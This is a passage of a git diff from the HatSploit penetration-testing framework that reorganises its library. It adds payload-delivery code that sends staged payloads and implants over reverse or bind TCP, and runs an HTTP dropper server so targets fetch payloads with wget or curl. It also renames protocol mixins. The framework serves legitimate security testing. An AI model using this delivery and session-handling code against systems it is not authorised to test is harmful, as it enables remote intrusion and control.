+        """ Open session and interact with it if allowed.
+
+        Note: This method does not open session, it just saves opened session to the
+        local storage and interacts with it if allowed.
+
+        :param Session session: session object
+        :param Optional[Callable[..., Any]] on_session: function of an action that
+        should be performed right after session was opened
+        :param Optional[dict] info: session info to add
+        :return None: None
+        """
+
+        if info:
+            session.info.update(info)
+
+        session_id = self.add_session(session)
+        time = datetime.datetime.now().astimezone().strftime("%Y-%m-%d %H:%M:%S %Z")
+
+        self.print_success(
+            f"{session.info['Type'].title()} session {str(session_id)} opened at {time}!")
+
+        if on_session:
+            on_session()
+
+        if self.get_auto_interaction():
+            self.interact_with_session(session_id)
+
+    def module_handle(self, *args, **kwargs) -> None:
+        """ Handle session from module.
+
+        :return None: None
+        :raises RuntimeError: with trailing error message
+        """
+
+        if not self.payload.value:
+            raise RuntimeError("Module has not payload!")
+
+        if self.pseudo.value:
+            sender = kwargs.pop('sender', None)
+
+            if sender:
+                return Pseudo().shell(sender)
+
+        self.handle(
+            payload=self.payload,
+            session=self.payload.info.get(
+                'Session', HatSploitSession),
+            *args, **kwargs
+        )
+
+    def handle(self, payload: PayloadOption,
+               session: Optional[Session] = HatSploitSession,
+               on_session: Optional[Callable[..., Any]] = None,
+               **kwargs) -> None:
+        """ Handle session.
+
+        :param PayloadOption payload: payload option object
+        :param Optional[Session] session: session handler
+        :param Optional[Callable[..., Any]] on_session: function of an action that
+        should be performed right after session was opened
+        """
+
+        if not payload.mixin.inline:
+            client, host = Send().drop_payload(
+                payload=payload,
+                dropper=self.dropper,
+                host=self.lhost.value,
+                port=self.lport.value,
+                **kwargs
+            )
+
+        else:
+            client, host = Send().inline_payload(
+                payload=payload,
+                host=self.lhost.value,
+                port=self.lport.value,
+                **kwargs
+            )
+
+        if client:
+            session = session()
+            session.open(client)
+
+            self.open_session(
+                session=session,
+                on_session=on_session,
+                info={
+                    'Platform': payload.payload.info['Platform'],
+                    'Arch': payload.payload.info['Arch'],
+                    'Host': host,
+                    'Port': self.lport.value
+                }
+            )
+
+    def module_handle_session(self, type: str = 'one_side',
+                              *args, **kwargs) -> Tuple[Union[Session, socket.socket], str]:
+        """ Handle session from module.
+
+        :param str type: type of payload (see self.types)
+        :return Tuple[Union[Session, socket.socket], str]: session and host
+        :raises RuntimeError: with trailing error message
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        if type not in self.types:
+            raise RuntimeError(f"Invalid payload type: {type}!")
+
+        return Send().handle_session(
+            host=self.lhost.value, port=self.lport.value, type=type, *args, **kwargs)
diff --git a/hatsploit/lib/handler/misc.py b/hatsploit/lib/core/handler/misc.py
similarity index 89%
rename from hatsploit/lib/handler/misc.py
rename to hatsploit/lib/core/handler/misc.py
index af6dd567b..5b9fca318 100755
--- a/hatsploit/lib/handler/misc.py
+++ b/hatsploit/lib/core/handler/misc.py
@@ -22,7 +22,7 @@
 SOFTWARE.
 """
 
-from hatsploit.lib.session import Session
+from hatsploit.lib.core.session import Session
 from hatsploit.lib.loot import Loot
 
 from pex.post.pull import Pull
@@ -31,16 +31,15 @@
 from pex.proto.channel import ChannelClient
 
 
-class HatSploitSession(Session, Loot, Pull, Push):
+class HatSploitSession(Session, Pull, Push):
     def __init__(self):
-        super().__init__()
-
-        self.channel = None
-
-        self.details.update({
+        super().__init__({
             'Type': "shell"
         })
 
+        self.channel = None
+        self.loot = Loot()
+
     def open(self, client):
         self.channel = ChannelClient(client)
 
@@ -57,7 +56,7 @@ def download(self, remote_file, local_path):
         self.print_process(f"Downloading {remote_file}...")
 
         data = self.pull(
-            platform=str(self.details['Platform']),
+            platform=str(self.info['Platform']),
             sender=self.channel.send_command,
             location=remote_file,
         )
@@ -77,11 +76,11 @@ def upload(self, local_file, remote_path):
 
         if data:
             remote_path = self.push(
-                platform=str(self.details['Platform']),
+                platform=str(self.info['Platform']),
                 sender=self.send_command,
                 data=data,
                 location=remote_path,
-                method=self.details['Post']
+                method=self.info['Post']
             )
 
             self.print_success(f"Saved to {remote_path}!")
diff --git a/hatsploit/lib/core/handler/send.py b/hatsploit/lib/core/handler/send.py
new file mode 100644
index 000000000..73a4f00d2
--- /dev/null
+++ b/hatsploit/lib/core/handler/send.py
@@ -0,0 +1,413 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+import time
+import socket
+
+from typing import (
+    Optional,
+    Tuple,
+    Union
+)
+
+from hatsploit.lib.complex import *
+from hatsploit.lib.core.session import Session
+
+from hatsploit.lib.ui.payloads import Payloads
+from hatsploit.lib.ui.jobs import Jobs
+
+from hatsploit.lib.handle import Handle
+
+from hatsploit.lib.core.payload.const import (
+    REVERSE_TCP,
+    BIND_TCP,
+    ONE_SIDE
+)
+
+
+class Send(Handle, Jobs):
+    """ Subclass of hatsploit.lib.handler module.
+
+    This subclass of hatsploit.lib.handler module is intended for
+    providing tools for sending payloads.
+    """
+
+    payloads = Payloads()
+
+    types = [
+        ONE_SIDE,
+        REVERSE_TCP,
+        BIND_TCP
+    ]
+
+    def handle_session(self, host: str, port: int,
+                       payload: PayloadOption,
+                       type: str = ONE_SIDE,
+                       phased: bool = False,
+                       timeout: Optional[int] = None,
+                       session: Optional[Session] = None) -> Tuple[Union[Session, socket.socket], str]:
+        """ Handle session.
+
+        :param str host: host
+        :param int port: port
+        :param PayloadOption payload: payload choice
+        :param str type: type of payload
+        :param Optional[int] timeout: timeout
+        :param Optional[Session] session: session
+        :param bool phased: send phases or continue
+        :return Tuple[Union[Session, socket.socket], str]: session and host
+        :raises RuntimeWarning: with trailing warning message
+        :raises RuntimeError: with trailing error message
+        """
+
+        if type not in self.types:
+            raise RuntimeError(f"Invalid payload type: {type}!")
+
+        if type == REVERSE_TCP:
+            if not host or not port:
+                raise RuntimeError("Reverse TCP requires host and port set!")
+
+            client, host = self.listen_session(host, port, session, timeout)
+
+            if not client and not host:
+                raise RuntimeError("Reverse TCP received corrupted session!")
+
+            if phased:
+                self.send_all(payload, client)
+
+            return client, host
+
+        elif type == BIND_TCP:
+            if not host or not port:
+                raise RuntimeError("Bind TCP requires host and port set!")
+
+            client = self.connect_session(host, port, session, timeout)
+
+            if not client:
+                raise RuntimeError("Bind TCP received corrupted session!")
+
+            if phased:
+                self.send_all(payload, client)
+
+            return client, host
+
+        else:
+            raise RuntimeWarning("Payload sent, but not session was opened.")
+
+    def send_all(self, payload: PayloadOption, client: socket.socket) -> None:
+        """ Send implant available in the payload with available phases.
+
+        :param PayloadOption payload: payload option
+        :param socket.socket client: primary socket pipe
+        :return None: None
+        """
+
+        step = 1
+
+        while True:
+            if not hasattr(payload.payload, f'phase{step}'):
+                break
+
+            phase = payload.run(method=f'phase{step}')
+
+            if not phase:
+                raise RuntimeError(f"Payload phase #{str(step)} generated incorrectly!")
+
+            self.print_process(
+                f"Sending payload phase #{str(step)} ({str(len(phase))} bytes)...")
+            client.send(phase)
+
+            time.sleep(.5)
+            step += 1
+
+        if hasattr(payload, 'implant'):
+            implant = payload.run(method='implant')
+
+            if not implant:
+                raise RuntimeError("Payload implant generated incorrectly!")
+
+            if implant:
+                time.sleep(.5)
+
+                self.print_process(
+                    f"Sending payload ({str(len(implant))} bytes)...")
+                client.send(implant)
+
+    def serve_dropper(self, dropper: DropperOption, payload: bytes) -> int:
+        """ Serve dropper.
+
+        :param DropperOption dropper: dropper to use
+        :param bytes payload: payload to serve
+        :return int: job ID assigned to dropper
+        """
+
+        def get_submethod(request):
+            if request.path == dropper.urlpath.value:
+                self.print_process(f"Delivering payload over HTTP...")
+
+                request.send_status(200)
+                request.wfile.write(payload)
+
+        job_id = self.create_job(
+            'Dropper HTTP server',
+            'Handler',
+            self.listen_server,
+            (
+                dropper.srvhost.value,
+                dropper.srvport.value,
+                {
+                    'get': get_submethod
+                },
+                1
+            )
+        )
+
+        self.print_process(f"Starting HTTP server (job {str(job_id)})...")
+        return job_id
+
+    def drop_payload(self, payload: PayloadOption, dropper: DropperOption,
+                     host: str, port: int,
+                     **kwargs) -> Tuple[Union[socket.socket, str], str]:
+        """ Send payload.
+
+        :param PayloadOption payload: payload
+        :param DropperOption dropper: dropper to use
+        :param str host: host to start listener on
+        :param int port: port to start listener on
+        :return Tuple[Union[socket.socket, str], str]: final socket and host
+        """
+
+        sender = kwargs.get('sender', None)
+
+        if not payload.payload:
+            raise RuntimeError("Payload was not found!")
+
+        if not sender:
+            raise RuntimeError("Payload sender is not specified!")
+
+        if not host and not port:
+            raise RuntimeError("Host and port were not found for payload!")
+
+        space = payload.config.get('Space', 2048)
+        arguments = payload.info.get('Arguments', '')
+        platform = payload.info['Platform']
+        arch = payload.info['Arch']
+        type = payload.info['Type']
+
+        buffer = payload.run()
+        phased = len(buffer) > space or payload.payload.phased.value
+
+        if phased:
+            phase = payload.run(phase=True)
+
+            if not phase:
+                raise RuntimeError("No phase available for this payload!")
+
+            phase = self.payloads.pack_payload(
+                payload=phase,
+                platform=platform,
+                arch=arch
+            )
+
+            if dropper.value in ['wget', 'curl']:
+                self.serve_dropper(dropper, phase)
+
+            type = type if type in [REVERSE_TCP, BIND_TCP] else REVERSE_TCP
+            job_id = self.create_job(
+                'TCP handler',
+                'Handler',
+                self.handle_session,
+                (
+                    host,
+                    port,
+                    payload,
+                    type
+                ),
+                {
+                    'phased': phased
+                },
+                timeout=1
+            )
+
+            if dropper.value not in ['wget', 'curl']:
+                self.print_process(
+                    f"Sending payload phase ({str(len(phase))} bytes)...")
+
+                config = {
+                    'data': phase,
+                    'args': arguments
+                }
+                config.update(kwargs)
+
+                post = dropper.method.handler(sender, config)
+                post.push()
+                post.exec()
+            else:
+                dropper_id = self.serve_dropper(dropper, phase)
+
+                config = {
+                    'uri': (
+                        f'http://{dropper.srvhost.value}:'
+                        f'{str(dropper.srvport.value)}'
+                        f'{dropper.urlpath.value}'
+                    ),
+                    'args': arguments
+                }
+                config.update(kwargs)
+
+                post = dropper.method.handler(sender, config)
+                post.push()
+                post.exec()
+
+                self.get_job(dropper_id).join()
+
+            return self.get_job(job_id).join()
+
+        buffer = self.payloads.pack_payload(
+            payload=buffer,
+            platform=platform,
+            arch=arch
+        )
+
+        job_id = self.create_job(
+            'TCP handler',
+            'Handler',
+            self.handle_session,
+            (
+                host,
+                port,
+                payload,
+                type
+            ),
+            timeout=1
+        )
+
+        if dropper.value not in ['wget', 'curl']:
+            self.print_process(
+                f"Sending payload ({str(len(buffer))} bytes)...")
+
+            config = {
+                'data': buffer,
+                'args': arguments
+            }
+            config.update(kwargs)
+
+            post = dropper.method.handler(sender, config)
+            post.push()
+            post.exec()
+        else:
+            dropper_id = self.serve_dropper(dropper, buffer)
+
+            config = {
+                'uri': (
+                    f'http://{dropper.srvhost.value}:'
+                    f'{str(dropper.srvport.value)}'
+                    f'{dropper.urlpath.value}'
+                ),
+                'args': arguments
+            }
+            config.update(kwargs)
+
+            post = dropper.method.handler(sender, config)
+            post.push()
+            post.exec()
+
+            self.get_job(dropper_id).join()
+
+        return self.get_job(job_id).join()
+
+    def inline_payload(self, payload: PayloadOption, host: str, port: int,
+                       **kwargs) -> Tuple[Union[socket.socket, str], str]:
+        """ Send payload if inline.
+
+        :param PayloadOption payload: payload option
+        :param str host: host to start listener on
+        :param int port: port to start listener on
+        :return Tuple[Union[socket.socket, str], str]: final socket and host
+        """
+
+        sender = kwargs.get('sender', None)
+
+        if not payload.payload:
+            raise RuntimeError("Payload was not found!")
+
+        if not sender:
+            raise RuntimeError("Payload sender is not specified!")
+
+        if not host and not port:
+            raise RuntimeError("Host and port were not found for payload!")
+
+        type = payload.info['Type']
+        space = payload.config.get('Space', 2048)
+
+        buffer = payload.run()
+        phased = len(buffer) > space or payload.payload.phased.value
+
+        if phased:
+            phase = payload.run(phase=True)
+
+            if not phase:
+                raise RuntimeError("No phase available for this payload!")
+
+            type = type if type in [REVERSE_TCP, BIND_TCP] else REVERSE_TCP
+            job_id = self.create_job(
+                'TCP handler',
+                'Handler',
+                self.handle_session,
+                (
+                    host,
+                    port,
+                    payload,
+                    type
+                ),
+                {
+                    'phased': True
+                },
+                timeout=1
+            )
+
+            self.print_process(
+                f"Sending payload phase ({str(len(phase))} bytes)...")
+            sender(phase)
+
+            return self.get_job(job_id).join()
+
+        job_id = self.create_job(
+            'TCP handler',
+            'Handler',
+            self.handle_session,
+            (
+                host,
+                port,
+                payload,
+                type
+            ),
+            timeout=1
+        )
+
+        self.print_process(
+            f"Sending payload ({str(len(buffer))} bytes)...")
+        sender(buffer)
+
+        return self.get_job(job_id).join()
diff --git a/hatsploit/lib/module/__init__.py b/hatsploit/lib/core/module/__init__.py
similarity index 60%
rename from hatsploit/lib/module/__init__.py
rename to hatsploit/lib/core/module/__init__.py
index f75c30973..031b69ee3 100644
--- a/hatsploit/lib/module/__init__.py
+++ b/hatsploit/lib/core/module/__init__.py
@@ -22,45 +22,65 @@
 SOFTWARE.
 """
 
-from typing import Any, Optional
+from typing import Optional
 
-from badges import Badges, Tables
+from hatsploit.lib.ui.options import Options
 
-from hatsploit.core.utils.tools import Tools
-from hatsploit.lib.options import Options
+from hatsploit.lib.base import BaseMixin
 
 
-class Module(Badges, Tables, Tools):
+class Module(BaseMixin, Options):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     wrapper for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize module
 
-        self.details = {
+        :param dict info: module details
+        :return None: None
+        """
+
+        details = {
             'Category': "",
             'Name': "",
             'Module': "",
-            'Authors': [
-                ''
-            ],
+            'Authors': (
+            ),
             'Description': "",
+            'Targets': {},
             'Platform': None,
-            'Rank': ""
+            'Rank': None,
+            'Devices': (
+            ),
+            'References': (
+            ),
+            'DisclosureDate': "",
+            'Notes': {
+                'Stability': [],
+                'Reliability': [],
+                'SideEffects': [],
+            },
         }
+        details.update(info)
+
+        super().__init__(details)
 
-    def set(self, option: str, value: Optional[str] = None) -> bool:
-        """ Set module option.
+        self.target = None
 
-        :param str option: option name
-        :param Optional[str] value: option value
-        :return bool: True if success else False
+        self.commands = {}
+        self.options = {}
+        self.advanced = {}
+
+    def __call__(self) -> None:
+        """ Called after initialization.
+
+        :return None: None
         """
 
-        return Options().set_option(self, option, value)
+        return
 
     def run(self) -> None:
         """ Run this module.
@@ -68,4 +88,4 @@ def run(self) -> None:
         :return None: None
         """
 
-        pass
+        return
diff --git a/hatsploit/lib/core/module/basic.py b/hatsploit/lib/core/module/basic.py
new file mode 100644
index 000000000..643c123eb
--- /dev/null
+++ b/hatsploit/lib/core/module/basic.py
@@ -0,0 +1,35 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+from hatsploit.lib.core.module import Module
+from hatsploit.lib.core.handler import Handler, HatSploitSession
+
+from pex.platform import *
+from pex.arch import *
+
+from hatsploit.lib.mixins import *
+from hatsploit.lib.ui.option import *
+from hatsploit.lib.complex import *
+
+from hatsploit.lib.core.module.const import *
diff --git a/hatsploit/lib/core/module/const.py b/hatsploit/lib/core/module/const.py
new file mode 100644
index 000000000..ed6fd89ed
--- /dev/null
+++ b/hatsploit/lib/core/module/const.py
@@ -0,0 +1,55 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+SIDE_EFFECTS = 1000
+
+"""
+Side Effects
+"""
+
+ARTIFACTS_ON_DISK = SIDE_EFFECTS + 1
+IOC_IN_LOGS = SIDE_EFFECTS + 2
+
+STABILITY = 2000
+
+"""
+Stability
+"""
+
+CRASH_SAFE = STABILITY + 1
+CRASH_DOWN = STABILITY + 2
+ACCOUNT_LOCKOUTS = STABILITY + 3
+
+RELIABILITY = 3000
+
+"""
+Reliability
+"""
+
+RELIABLE_SESSION = RELIABILITY + 1
+WEAK_SESSION = RELIABILITY + 2
+
+HIGH_RANK = "high"
+MEDIUM_RANK = "medium"
+LOW_RANK = "low"
diff --git a/hatsploit/lib/module/proto/__init__.py b/hatsploit/lib/core/module/proto/__init__.py
similarity index 68%
rename from hatsploit/lib/module/proto/__init__.py
rename to hatsploit/lib/core/module/proto/__init__.py
index 2f80d6f85..9f9ea0fd9 100644
--- a/hatsploit/lib/module/proto/__init__.py
+++ b/hatsploit/lib/core/module/proto/__init__.py
@@ -22,12 +22,12 @@
 SOFTWARE.
 """
 
-from hatsploit.lib.module.proto.adb import ADB
-from hatsploit.lib.module.proto.ssh import SSH
-from hatsploit.lib.module.proto.tcp import TCP
-from hatsploit.lib.module.proto.http import HTTP
-from hatsploit.lib.module.proto.rtsp import RTSP
-from hatsploit.lib.module.proto.udp import UDP
-from hatsploit.lib.module.proto.stream import Stream
-from hatsploit.lib.module.proto.snmp import SNMP
-from hatsploit.lib.module.proto.chromecast import Chromecast
+from hatsploit.lib.core.module.proto.adb import ADB
+from hatsploit.lib.core.module.proto.ssh import SSH
+from hatsploit.lib.core.module.proto.tcp import TCP
+from hatsploit.lib.core.module.proto.http import HTTP
+from hatsploit.lib.core.module.proto.rtsp import RTSP
+from hatsploit.lib.core.module.proto.udp import UDP
+from hatsploit.lib.core.module.proto.stream import Stream
+from hatsploit.lib.core.module.proto.snmp import SNMP
+from hatsploit.lib.core.module.proto.chromecast import Chromecast
diff --git a/hatsploit/lib/module/proto/adb.py b/hatsploit/lib/core/module/proto/adb.py
similarity index 73%
rename from hatsploit/lib/module/proto/adb.py
rename to hatsploit/lib/core/module/proto/adb.py
index 7f44d809f..fb650b791 100644
--- a/hatsploit/lib/module/proto/adb.py
+++ b/hatsploit/lib/core/module/proto/adb.py
@@ -22,23 +22,35 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.adb import ADBClient
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    IntegerOption,
+    PortOption
+)
 
-class ADB(object):
+
+class ADB(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of ADB client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize ADB mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.timeout = IntegerOption(10, "Connection timeout.", False)
-        self.host = IPv4Option(None, "ADB host.", True)
-        self.port = PortOption(5555, "ADB port.", True)
+        self.timeout = IntegerOption('TIMEOUT', 10, "Connection timeout.", False)
+        self.host = IPv4Option('HOST', None, "ADB host.", True)
+        self.port = PortOption('PORT', 5555, "ADB port.", True)
 
     def open_adb(self) -> ADBClient:
         """ Open ADB client.
diff --git a/hatsploit/lib/module/proto/chromecast.py b/hatsploit/lib/core/module/proto/chromecast.py
similarity index 76%
rename from hatsploit/lib/module/proto/chromecast.py
rename to hatsploit/lib/core/module/proto/chromecast.py
index 3b47d9e26..05443702b 100644
--- a/hatsploit/lib/module/proto/chromecast.py
+++ b/hatsploit/lib/core/module/proto/chromecast.py
@@ -22,22 +22,33 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.chromecast import ChromecastClient
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption
+)
 
-class Chromecast(object):
+
+class Chromecast(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of Chromecast client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize Chromecast mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
 
-        self.host = IPv4Option(None, "Chromecast host.", True)
-        self.port = PortOption(8009, "Chromecast port.", True)
+        super().__init__(info)
+
+        self.host = IPv4Option('HOST', None, "Chromecast host.", True)
+        self.port = PortOption('PORT', 8009, "Chromecast port.", True)
 
     def open_chromecast(self) -> ChromecastClient:
         """ Open Chromecast client.
@@ -49,4 +60,3 @@ def open_chromecast(self) -> ChromecastClient:
             host=self.host.value,
             port=self.port.value
         )
-
diff --git a/hatsploit/lib/module/proto/ftp.py b/hatsploit/lib/core/module/proto/ftp.py
similarity index 71%
rename from hatsploit/lib/module/proto/ftp.py
rename to hatsploit/lib/core/module/proto/ftp.py
index cebfafd1c..2ed8cad0a 100644
--- a/hatsploit/lib/module/proto/ftp.py
+++ b/hatsploit/lib/core/module/proto/ftp.py
@@ -22,24 +22,37 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.ftp import FTPClient
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption,
+    IntegerOption,
+    BooleanOption
+)
 
-class FTP(object):
+
+class FTP(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of FTP client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize FTP mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.timeout = IntegerOption(10, "Connection timeout.", False)
-        self.host = IPv4Option(None, "ADB host.", True)
-        self.port = PortOption(23, "ADB port.", True)
-        self.ssl = BooleanOption('no', "Use SSL.", False)
+        self.timeout = IntegerOption('TIMEOUT', 10, "Connection timeout.", False)
+        self.host = IPv4Option('HOST', None, "ADB host.", True)
+        self.port = PortOption('PORT', 23, "ADB port.", True)
+        self.ssl = BooleanOption('SSL', 'no', "Use SSL.", False)
 
     def open_ftp(self) -> FTPClient:
         """ Open FTP client.
diff --git a/hatsploit/lib/module/proto/http.py b/hatsploit/lib/core/module/proto/http.py
similarity index 73%
rename from hatsploit/lib/module/proto/http.py
rename to hatsploit/lib/core/module/proto/http.py
index 870c78987..cacc146ec 100644
--- a/hatsploit/lib/module/proto/http.py
+++ b/hatsploit/lib/core/module/proto/http.py
@@ -22,24 +22,37 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.http import HTTPClient, HTTPListener
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption,
+    IntegerOption,
+    BooleanOption
+)
 
-class HTTP(object):
+
+class HTTP(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
-    of a wrapper of TCP client for a module.
+    of a wrapper of HTTP client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize HTTP mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.timeout = IntegerOption(10, "Connection timeout.", False)
-        self.host = IPv4Option(None, "HTTP host.", True)
-        self.port = PortOption(80, "HTTP port.", True)
-        self.ssl = BooleanOption('no', "Use SSL.", False)
+        self.timeout = IntegerOption('TIMEOUT', 10, "Connection timeout.", False)
+        self.host = IPv4Option('HOST', None, "HTTP host.", True)
+        self.port = PortOption('PORT', 80, "HTTP port.", True)
+        self.ssl = BooleanOption('SSL', 'no', "Use SSL.", False)
 
     def http_request(self, *args, **kwargs) -> str:
         """ Send request to HTTP server.
diff --git a/hatsploit/lib/module/proto/rtsp.py b/hatsploit/lib/core/module/proto/rtsp.py
similarity index 73%
rename from hatsploit/lib/module/proto/rtsp.py
rename to hatsploit/lib/core/module/proto/rtsp.py
index 195350360..418dd4609 100644
--- a/hatsploit/lib/module/proto/rtsp.py
+++ b/hatsploit/lib/core/module/proto/rtsp.py
@@ -22,23 +22,35 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.rtsp import RTSPClient
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption,
+    IntegerOption
+)
 
-class RTSP(object):
+
+class RTSP(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of RTSP client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize RTSP mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.timeout = IntegerOption(10, "Connection timeout.", False)
-        self.host = IPv4Option(None, "SSH host.", True)
-        self.port = PortOption(554, "SSH port.", True)
+        self.timeout = IntegerOption('TIMEOUT', 10, "Connection timeout.", False)
+        self.host = IPv4Option('HOST', None, "SSH host.", True)
+        self.port = PortOption('PORT', 554, "SSH port.", True)
 
     def open_rtsp(self) -> RTSPClient:
         """ Open RTSP client.
diff --git a/hatsploit/lib/module/proto/snmp.py b/hatsploit/lib/core/module/proto/snmp.py
similarity index 73%
rename from hatsploit/lib/module/proto/snmp.py
rename to hatsploit/lib/core/module/proto/snmp.py
index 296b301da..508379a3b 100644
--- a/hatsploit/lib/module/proto/snmp.py
+++ b/hatsploit/lib/core/module/proto/snmp.py
@@ -22,23 +22,35 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.snmp import SNMPClient
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption,
+    IntegerOption
+)
 
-class SNMP(object):
+
+class SNMP(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of SNMP client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize SNMP mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.timeout = IntegerOption(10, "Connection timeout.", False)
-        self.host = IPv4Option(None, "SNMP host.", True)
-        self.port = PortOption(161, "SNMP port.", True)
+        self.timeout = IntegerOption('TIMEOUT', 10, "Connection timeout.", False)
+        self.host = IPv4Option('HOST', None, "SNMP host.", True)
+        self.port = PortOption('PORT', 161, "SNMP port.", True)
 
     def open_snmp(self) -> SNMPClient:
         """ Open SNMP client.
diff --git a/hatsploit/lib/module/proto/ssh.py b/hatsploit/lib/core/module/proto/ssh.py
similarity index 70%
rename from hatsploit/lib/module/proto/ssh.py
rename to hatsploit/lib/core/module/proto/ssh.py
index 49ab91094..bc21fcc61 100644
--- a/hatsploit/lib/module/proto/ssh.py
+++ b/hatsploit/lib/core/module/proto/ssh.py
@@ -22,25 +22,38 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.ssh import SSHClient
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption,
+    IntegerOption,
+    Option
+)
 
